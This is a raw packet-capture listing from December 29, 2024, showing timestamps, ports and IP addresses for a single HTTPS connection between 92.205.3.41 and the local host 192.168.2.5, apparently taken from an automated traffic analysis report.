Dec 29, 2024 09:04:33.843346119 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.843422890 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.844904900 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.844986916 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.846461058 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.846541882 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.848432064 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.848500967 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.850054979 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.850132942 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.851164103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.851238966 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.853266954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.853341103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.854753971 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.854829073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.856350899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.856434107 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.857845068 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.857917070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.859337091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.859411001 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.861443996 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.861515999 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.862807989 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.862876892 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:33.864355087 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:33.864428997 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.041229010 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.041307926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.042561054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.042632103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.044075012 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.044161081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.046170950 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.046236038 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.047666073 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.047736883 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.049170017 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.049246073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.050671101 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.050755978 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.052129030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.052192926 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.054296970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.054367065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.055720091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.055788040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.057248116 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.057328939 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.058727026 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.058801889 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.060189962 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.060261965 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.061690092 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.061763048 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.063795090 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.063863039 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.065227032 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.065294027 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.242328882 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.242542982 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.243745089 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.243819952 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.245250940 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.245326042 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.246690035 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.246920109 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.248215914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.248306036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.249625921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.249703884 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.251791000 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.251882076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.253181934 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.253263950 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.254745007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.254821062 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.256124020 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.256243944 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.258268118 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.258353949 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.259738922 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.259820938 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.261277914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.261357069 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.262773991 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.262854099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.264199018 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.264280081 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.266314030 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.266393900 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.443658113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.443793058 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.444617033 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.444710970 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.446197987 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.446276903 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.447598934 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.447693110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.449126005 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.449198008 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.451261997 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.451333046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.452802896 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.452871084 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.454211950 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.454296112 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.455701113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.455770016 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.457163095 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.457231998 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.458645105 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.458719015 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.460761070 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.460839033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.462268114 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.462341070 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.463768959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.463841915 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.465209007 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.465281963 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.466718912 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.466794014 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.468632936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.468707085 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.645175934 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.645263910 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.646519899 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.646598101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.648037910 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.648094893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.648116112 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.650193930 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.650257111 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.651592970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.651667118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.653096914 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.653165102 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.654599905 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.654665947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.656443119 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.656513929 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.657973051 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.658041954 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.659446955 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.659512043 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.660906076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.660964966 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.663024902 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.663083076 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.664485931 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.664551020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.666023970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.666088104 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.667490005 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.667555094 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.668979883 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.669053078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.845951080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.846038103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.847729921 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.847830057 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.849248886 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.849318981 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.850789070 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.850861073 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.852320910 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.852404118 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.853715897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.853785038 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.855120897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.855189085 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.857255936 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.857342005 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.858762980 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.858833075 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.860296011 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.860361099 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.861732006 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.861802101 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.863249063 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.863322020 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.865340948 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.865412951 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.866758108 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.866832972 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.868294954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.868372917 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:34.869766951 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:34.869844913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.047302961 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.047415972 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.048662901 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.048738956 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.050074100 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.050141096 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.051590919 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.051654100 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.053055048 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.053121090 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.054586887 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.054663897 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.056700945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.056775093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.058128119 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.058203936 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.059617043 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.059698105 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.061125040 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.061193943 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.063173056 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.063236952 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.064007998 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.064074993 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.066164970 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.066235065 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.067720890 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.067787886 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.069165945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.069236040 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.073643923 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.073723078 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.073796034 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.073864937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.249228954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.249373913 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.250657082 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.250725985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.252751112 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.252825975 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.254256964 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.254319906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.255738974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.255836010 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.257239103 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.257309914 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.258677959 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.258752108 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.260135889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.260205984 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.262278080 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.262346029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.263766050 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.263834000 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.265264988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.265326023 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.266710043 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.266778946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.268187046 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.268253088 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.270324945 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.270392895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.271783113 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.271862030 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.273377895 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.273447990 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.450056076 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.450139046 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.451174974 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.451252937 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.453327894 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.453397989 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.454808950 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.454871893 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.456325054 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.456396103 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.457868099 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.457937002 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.459244013 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.459310055 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.461394072 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.461455107 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.462867975 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.462932110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.464415073 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.464482069 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.465872049 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.465935946 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.467331886 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.467397928 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.468837023 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.468900919 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.470952988 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.471015930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.472477913 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.472539902 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.473917961 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.473984003 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.651308060 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.651442051 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.652381897 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.652486086 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.653867960 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.653950930 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.655335903 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.655405998 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.656801939 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.656874895 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.659024954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.659094095 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.660497904 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.660602093 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.661962986 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.662065029 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.663589954 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.663674116 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.664855003 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.664944887 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.666961908 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.667040110 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.668466091 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.668535948 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.670008898 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.670079947 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.671444893 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.671514034 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.672920942 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.673038006 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.675057888 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.675132036 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.676335096 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.676415920 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.852952003 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.853039026 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.854355097 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.854429007 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.856497049 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.856566906 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.857974052 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.858046055 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.859508038 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.859575033 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.860940933 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.861007929 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.862422943 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.862488985 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.864559889 CET	443	49710	92.205.3.41	192.168.2.5
Dec 29, 2024 09:04:35.864626884 CET	49710	443	192.168.2.5	92.205.3.41
Dec 29, 2024 09:04:35.866030931 CET	443	49710	92.205.3.41	192.168.2.5
